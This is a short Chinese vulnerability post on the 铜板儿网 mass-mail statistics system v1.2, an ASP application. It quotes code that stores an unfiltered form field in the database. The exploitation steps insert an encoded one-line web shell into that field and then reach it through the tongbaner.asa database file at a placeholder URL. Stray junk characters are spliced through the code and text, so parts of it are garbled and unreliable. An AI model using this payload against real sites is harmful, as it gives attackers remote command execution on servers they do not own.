铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp

: F" L: N3 D" m9 P, FIF Request.QueryString("Action")="del" Then
$ [% F- q; N7 l% vID=Request.QueryString("ID")
" J- h$ U+ B5 q9 c. ]% l& F* MIF Countss ("tui","Fenlei",ID )<>0 then
2 R1 A9 e( J/ D5 l5 v; O'略
. u' s$ x- D' B/ p$ yIF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
1 t& f# w. C- F2 qSet Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
! T  |& p" f5 P+ bRs.Open Sql,Conn,1,3
Rs.Addnew
Rs("Typename")=Tname
'略
0 B  o6 g2 P8 m; N* z3 GSet Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
# O7 _/ K4 c- L  l* C'略
%>
; z0 {8 l5 A+ M2 H* C. c' E


没有过滤，直接写入数据库。

利用方法：
% E: g  Q0 j: C$ ]
3 }! R6 M! W8 U; n. b8 [0 ]插入：┼攠數畣整爠煥敵瑳∨≡┩>

5 S# N- m0 R% ^# }( h9 u# M
连接： http://www.xxx.com/###tongbaner.asa
'默认安装文件：
& c8 x, l5 K, l# u# j* a'install.asp